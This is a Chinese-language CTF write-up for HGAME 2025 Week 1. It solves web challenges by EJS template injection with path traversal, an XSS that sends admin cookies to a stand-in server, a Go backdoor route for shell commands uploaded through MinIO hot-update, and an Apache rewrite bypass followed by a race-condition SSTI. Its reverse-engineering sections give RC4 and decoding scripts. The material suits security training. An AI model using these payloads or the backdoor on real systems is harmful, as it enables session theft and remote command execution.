HGAME 2025 WEEK1 WP
Web
Level 24 Pacman
查看index.js,发现两个base64加密的内容
解密后分别为haeu4epca_4trgm{_r_amnmse}和haeu4epca_4trgm{_r_amnmse},猜测为栅栏密码,解密后得到flag
Level 47 BandBomb
上传恶意模板文件 上传
hack.txt,内容为:do it <% var name=global.process.mainModule.require('child_process').exec('env > public/output') %> <%= name %>- 关键点:
<% ... %>是EJS的代码执行标签,服务器渲染模板时会执行其中的代码。exec('env > public/output')将环境变量写入到public/output文件中,此文件可通过静态路由/static/output访问。
- 关键点:
覆盖模板文件 发送重命名请求:
1 2 3 4 5 6 7
POST /rename Content-Type: application/json { "oldName": "hack.txt", "newName": "../views/mortis.ejs" }- 漏洞利用:
newName包含../路径遍历符,将文件移动到views目录并覆盖mortis.ejs模板。- 由于题目未对路径进行过滤,此操作成功覆盖模板。
- 漏洞利用:
触发模板渲染 访问首页
GET /,服务器会渲染被篡改的mortis.ejs,执行以下操作:- 运行
env > public/output,将环境变量写入静态目录下的output文件。 - 由于
<%= name %>输出的是exec返回的ChildProcess对象(非字符串),页面可能显示[object Object],但命令已执行。
- 运行
查看命令结果 访问
http://题目地址/static/output,自动下载public/output文件,查看output文件内容,获得flag
Level 69 MysteryMessageBoard
用户名是shallot,爆破出密码是888888
留言板xss,payload:
1
2
3
<script>
fetch('https://your-server.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
提交后访问/admin触发,然后得到admin的session,用来访问/flag得到flag
Level 25 双面人派对
web服务下载main附件,发现加壳了
脱壳后用IDA打开,发现有minio,可能是云安全
找到access_key和secret_key
通过mc客户端连接unknow服务
查看hints存储桶
下载src.zip得到源码
查看源码main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main
import (
"level25/fetch"
"level25/conf"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)
func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}
func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))
g.Run(":8080")
}
分析目标服务
服务架构:
主程序
main.go使用overseer实现热更新,定期从 MinIO 存储桶prodbucket拉取update文件并重启服务。MinIO 配置信息硬编码在程序中:
1 2 3 4 5
endpoint: 127.0.0.1:9000 access_key: minio_admin secret_key: JPSQ4N08vh2/W7hzdLyRYLDm0wNRWG48BL09yOKGplis= bucket: prodbucket key: update
漏洞点:
- 未校验二进制文件来源:允许覆盖
update文件,触发热更新。 - 静态文件暴露:
g.StaticFS("/static", gin.Dir(".", true))暴露当前目录文件。
- 未校验二进制文件来源:允许覆盖
添加后门路由
修改 main.go,添加命令执行路由 /cmd:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main
import (
"bytes"
"level25/fetch"
"level25/conf"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)
func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}
func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/static", gin.Dir(".", true))
// 添加后门路由
g.GET("/cmd", func(c *gin.Context) {
command := c.Query("command")
if command == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "command parameter is required"})
return
}
cmd := exec.Command("sh", "-c", command)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "failed to execute command",
"details": stderr.String(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"command": command,
"output": stdout.String(),
})
})
g.Run(":8080")
}
编译并上传恶意二进制
编译为 Linux 可执行文件:
1
go build -o main main.go
在linux环境下编译
上传到 MinIO 存储桶: 使用 mc 客户端覆盖存储桶中的 update 文件:
触发热更新
Level 38475 角落
dirsearch扫描,发现robots.txt,访问后发现app.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//app.conf
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>
<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>
RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
ProxyPass "/app/" "http://127.0.0.1:5000/"
这段配置的作用是:
- 目录访问控制:
- 允许用户访问
/usr/local/apache2/app目录,并列出文件(如果直接访问目录)。 - 禁止访问具体文件
/usr/local/apache2/app/app.py。
- 允许用户访问
- 重写规则:
- 仅当请求头的
User-Agent以L1nk/开头时,将路径/admin/xxx重写为/xxx.html?secret=todo。
- 仅当请求头的
- 代理转发:
- 将
/app/路径的请求转发到本地运行的应用服务器(http://127.0.0.1:5000/)。
- 将
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" 会将 /admin/xxx 重写为 /xxx.html?secret=todo。
如果请求路径是 /admin/usr/local/apache2/app/app.py%3F,Apache 会将 %3F 解码为 ?,从而触发 RewriteRule:
- 原始请求:
/admin/usr/local/apache2/app/app.py%3F - 解码后:
/admin/usr/local/apache2/app/app.py? - 重写后:
/usr/local/apache2/app/app.py?.html?secret=todo
由于 ? 后面的内容会被忽略,实际请求的路径是 /usr/local/apache2/app/app.py
设置user-agent: L1nk/1.0,通过/admin/usr/local/apache2/app/app.py%3F路径即可访问app.py。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates
app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'
@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']
f = open(filename, 'w')
f.write(message)
f.close()
return redirect('index?status=Send successfully!!')
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("", readmsg())
return render_template_string(show)
return 'waf!!'
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)
/read路由存在ssti,但是过滤了{。仔细分析发现调用了两次readmsg(),考虑可以通过并发绕过。前两个包访问send路由,第一个包里放正常内容,第二个包里放ssti。还要第三个包访问read路由。三个数据包如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /app/send HTTP/1.1
Host: node1.hgame.vidar.club:30834
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node1.hgame.vidar.club:30834
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node1.hgame.vidar.club:30834/app/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
message=123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /app/send HTTP/1.1
Host: node1.hgame.vidar.club:30834
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node1.hgame.vidar.club:30834
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node1.hgame.vidar.club:30834/app/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
message=
1
2
3
4
5
6
7
8
9
GET /app/read HTTP/1.1
Host: node1.hgame.vidar.club:30834
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
写一个脚本来并发这三个包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
from concurrent.futures import ThreadPoolExecutor
# 定义要发送的请求
def send_post_request(data):
url = "http://node1.hgame.vidar.club:30834/app/send"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://node1.hgame.vidar.club:30834/app/index",
"Connection": "keep-alive"
}
response = requests.post(url, headers=headers, data=data)
print(f"Response: {response.status_code}, Content: {response.text}")
def send_get_request():
url = "http://node1.hgame.vidar.club:30834/app/read"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Connection": "keep-alive"
}
response = requests.get(url, headers=headers)
print(f"GET Response: {response.status_code}, Content: {response.text}")
# 定义要发送的消息
data1 = "message=123"
data2 = "message="
# 使用线程池并发发送请求
with ThreadPoolExecutor(max_workers=3) as executor:
executor.submit(send_post_request, data1)
executor.submit(send_post_request, data2)
executor.submit(send_get_request)
多尝试几次就可以得到flag
Reverse
Compress dot new
要解决这个问题,我们需要将二进制字符串作为路径遍历嵌套的JSON结构,每个路径的终点节点包含一个ASCII码。每个二进制位(0或1)对应选择左(a)或右(b)分支,直到找到包含s键的节点,将s的值转换为字符。重复此过程直到处理完所有二进制位。
解题程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import json
# 读取文件内容
with open('enc.txt', 'r') as f:
content = f.read().split('\n', 1)
json_str = content[0]
binary_str = content[1].strip()
# 解析JSON结构
data = json.loads(json_str)
result = []
index = 0
# 遍历二进制字符串
while index < len(binary_str):
current_node = data # 每次从根节点开始
while True:
if 's' in current_node:
# 找到字符,添加到结果
result.append(chr(current_node['s']))
break
else:
# 选择分支
bit = binary_str[index]
index += 1
if bit == '0':
current_node = current_node['a']
else:
current_node = current_node['b']
# 输出结果
print(''.join(result))
程序说明
- 读取文件:将文件内容分割为JSON字符串和二进制字符串。
- 解析JSON:使用
json.loads将JSON字符串转换为嵌套字典。 - 遍历二进制位:逐位处理二进制字符串,根据当前位选择分支(
a或b),直到找到包含s键的节点。 - 字符转换:将
s的值转换为ASCII字符并添加到结果列表。 - 循环处理:重复上述步骤,直到处理完所有二进制位。
Turtle
手动脱掉upx壳。两次RC4加密,第一次加密第二次的密钥,密钥为yekyek,第二次加密flag 第一次解密脚本,解密后得到密钥为ecg4ab6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdint.h>
#include <string.h>
void rc4_ksa(const uint8_t *key, int key_len, uint8_t *sbox) {
for (int i = 0; i < 256; i++) {
sbox[i] = i;
}
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + sbox[i] + key[i % key_len]) % 256;
uint8_t tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
}
}
void rc4_prga(uint8_t *data, int data_len, uint8_t *sbox) {
int i = 0, j = 0;
for (int k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + sbox[i]) % 256;
uint8_t tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
uint8_t key_byte = sbox[(sbox[i] + sbox[j]) % 256];
data[k] ^= key_byte;
}
}
int main() {
// 密文(无符号字节形式)
uint8_t ciphertext[] = {0xCD, 0x8F, 0x25, 0x3D, 0xE1, 'Q', 'J'};
// 密钥
const uint8_t key[] = "yekyek";
int ciphertext_len = sizeof(ciphertext);
int key_len = strlen((char *)key);
// 解密
uint8_t sbox[256];
rc4_ksa(key, key_len, sbox);
rc4_prga(ciphertext, ciphertext_len, sbox);
// 输出明文
printf("Decrypted: ");
for (int i = 0; i < ciphertext_len; i++) {
printf("%c", ciphertext[i]);
}
printf("\n");
return 0;
}
第二次解密脚本,解密后得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// RC4 密钥调度(KSA,与之前相同)
void rc4_ksa(const uint8_t *key, int key_len, uint8_t *sbox) {
for (int i = 0; i < 256; i++) {
sbox[i] = i;
}
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + sbox[i] + key[i % key_len]) % 256;
uint8_t tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
}
}
// 修改后的 PRGA(解密时使用加法)
void modified_rc4_prga(uint8_t *data, int data_len, uint8_t *sbox) {
int i = 0, j = 0;
for (int k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + sbox[i]) % 256;
uint8_t tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
uint8_t key_byte = sbox[(sbox[i] + sbox[j]) % 256];
data[k] += key_byte; // 解密时用加法(加密是减法)
}
}
int main() {
// 密文转换(有符号十进制转无符号字节)
uint8_t ciphertext[] = {
0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
};
// 密钥
const uint8_t key[] = "ecg4ab6";
int ciphertext_len = sizeof(ciphertext);
int key_len = strlen((char *)key);
// 解密
uint8_t sbox[256];
rc4_ksa(key, key_len, sbox);
modified_rc4_prga(ciphertext, ciphertext_len, sbox);
// 输出明文(尝试 ASCII 显示)
printf("Decrypted: ");
for (int i = 0; i < ciphertext_len; i++) {
printf("%c", ciphertext[i]);
}
printf("\n");
return 0;
}













